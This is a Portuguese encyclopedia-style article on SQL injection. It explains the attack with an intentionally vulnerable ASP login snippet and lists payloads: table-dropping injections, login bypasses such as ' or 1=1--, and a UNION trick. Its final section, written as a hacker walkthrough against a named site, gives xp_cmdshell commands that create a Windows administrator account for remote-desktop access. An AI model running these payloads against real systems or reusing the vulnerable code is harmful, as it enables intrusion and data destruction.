Sql injection

Origem: Wikipédia, a enciclopédia livre.

Este artigo ou seção precisa ser wikificado (desde Fevereiro de 2008).
Por favor ajude a formatar este artigo de acordo com as diretrizes estabelecidas no livro de estilo.

'Structured Query Language' (SQL) é uma linguagem textual usada para interagir com uma base de dados relacional. A unidade de execução do SQL é uma 'query', que é uma coleção de instruções que retornam uma pesquisa na base de dados. Os comandos e parâmetros de uma 'query' podem modificar a estrutura da base de dados (usando instruções Data Definition Language, ou DDL) e manipulando o conteúdo dos bancos de dados. (usando insturções Data Manipulation Language, ou DML).

SQL Injection ocorre quando o atacante consegue inserir uma série de intruções SQL dentro de uma 'query' através da manipulação das entrada de dados de uma aplicação.

Uma tipica instrução SQL:

 SELECT id, forename, surname FROM authors;

Essa instrução retornará cada linha das colunas 'id', 'forename' e o 'surename' da tabela 'authors'. De todo o resultado pode ser restringido a um autor específico com a instrução abaixo:

SELECT id, forename, surname FROM authors WHERE forename = 'john' AND surname = 'smith'

Um ponto importante para se notar aqui é que a string literal 'john' e 'smith' está delimitado com aspas simples. Presumindo que o campo 'forename' e 'surname' são preenchidos pelos próprios usuários, um atacante pode tentar injetar um SQL nesta 'query' inserindo valores na aplicação como os abaixo:

* Forename: jo'hn
* Surname: smith

A query ficará assim:

SELECT id, forename, surname FROM authors WHERE forename = 'jo'hn' AND surname = 'smith'

Quando uma base de dados tenta rodar esta query, ela vai retornar um erro:

* Server: Msg 170, Level 15, State 1, Line 1
* Line 1: Incorrect syntax near 'hn'.

A razão para isso é que a adição da aspas simples quebra a delimitação das aspas simples originais da query. Então a base de dados tenta executar 'hn' e falha. Se o atacante inserir dados assim:

* Forename: jo'; DROP TABLE authors--
* Surname:

... a tabela 'authors' sera deletada, por razões que nos abordaremos posteriormente. Aparentemente um método para prevenir esse problema seria a remoção de aspas simples dos campos de inserção da aplicação, ou simplesmente não executando a query nestas situações. Isso é verdade, mas existem varias dificuldades com esse método tanto quanto soluções. Primeiro, nem todos os usuários inserem dados em forma de strings. Se nosso usuário pode selecionar um autor pelo 'id' (presumivelmente um número) por exemplo, nossa query parecerá como abaixo:

SELECT id, forename, surname FROM authors WHERE id=1234

Nesta situação, o atacante pode simplesmente adicionar uma instrução SQL no fim do 'input' numérico. Verificando os "dialetos" de SQL, varios delimitadores podem ser usados no Microsoft Jet DBMS engine, por exemplo, datas podem ser delimitadoas com o caracter '#' (sustenido). Portanto, escapando da execução da adição de aspas simples não necessariamente uma solução como nós vimos anteriormente.

Podemos ilustrar esse pontos usando um exemplo de pagina de 'login' em Active Server Pages (ASP), que acessa um servidor de banco de dados SQL e tenta autenticar o acesso em uma aplicação fictícia.

Abaixo está o pedaço de código da página de formulário, em que um usuário insere o username e o password para autenticação:

(...)

function Login( cn )
{
   var username;
   var password;
   username = Request.form("username");
   password = Request.form("password");
   var rso = Server.CreateObject("ADODB.Recordset");
   var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
   trace( "query: " + sql );
   rso.open( sql, cn );
   if (rso.EOF)  {
      rso.close();
   }
}
 
function Main()
{
//Set up connection
   var username
   var cn = Server.createobject( "ADODB.Connection" );
   cn.connectiontimeout = 20;
   cn.open( "localserver", "sa", "password" );
   username = new String( Request.form("username") );
   if( username.length > 0)  {
      Login( cn );
   }
   cn.close();
}

A parte critica é a parte do 'process_login.ascp' que cria uma 'query string':

var sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

Se o usuário inseri os seguintes dados:

* Username: '; drop table users--
* Password:

... a tabela 'users' será apagada, negando o acesso para todos os usuários. A seqüência de caracteres '--' é o comentário de uma linha de SQL, a o ';' denota o fim de uma query e o começo de outra. O '--' no fim do campo username é requerido para que a query em questão seja executada sem erros.

O atacante pode logar como qualquer usuário, partindo do principio que ele sabe o nome do usuário, usando o input abaixo:

  • Username: admin'--


O atacante pode logar como o primeiro usuário da tabelas 'users', com a inserção abaixo:

  • Username: ' or 1=1--

...e, estranhamente, o atacante pode logar como um usuário cimpletamente ficticio com o input abaixo:

  • Username: ' union select 1, 'fictional_user', 'some_password', 1--


A razão para que isso funcione é que a aplicação acredita que a linha 'constante' que o atacante especificou é parte do 'recordset' recuperado da base de dados.

[editar] Ver também


[editar] ASP Injection

Algumas técnicas ASP Injection são empregadas atualmente e algumas delas são muito fáceis de se explorar e atingem provedores de grande porte, elas são atingidas através de uma navegação comum pelas página ou na inserção de caracteres especiais como "'" então peguemos:


www.tecnologiahacker.com.br/site.asp?id=1

Na inserção de ' temos: www.tecnologiahacker.com.br/site.asp?id=1'; Isto pode nos retornar inúmeros erros dentro do banco de dados ou apenas não retornar um erro, um dos erros mais encontrados em sistemas são 80040e14 e 80040e07, que são responsáveis pela manutenção de usuários dentro do banco de dados.

Enfim vamos ao ASP Injection

Com o erro retornado temos o seguinte código de exploração:

1: convert(int,(select+user));--

2: ;exec%20master..xp_cmdshell 'net user hudcher minhasenha /add';--

3: ;exec%20master..xp_cmdshell 'net localgroup administrator hudcher /add';--

Onde:

1: Vamos pedir para ele retornar o usuário do banco de dados do sistema em teste, os usuários padrões do banco de dados por padrao sao "sa" e "dbo", caso as encontre tem uma probabilidade bem grande de exploração da falha dentro do sistema.

2: Caso encontremos o sistema vulnerável vamos inserir remotamente um usuário dentro do sistema NT para que possamos obter acesso é importante lembrar que os métodos aqui demonstrados são testados na plataforma NT.; No código temos o pedido de inclusão do usuário hudcher com a senha "minhasenha".

3: Caso o pedido de execução seja executado com sucesso e não retorne nenhum erro vamos ao passo 3, onde iremos dar permissão de master a nosso usuário hudcher.

4: Pegar o IP do sistema afetado e acessar via remote desktop :)

Ferramentas pessoais
Criar um livro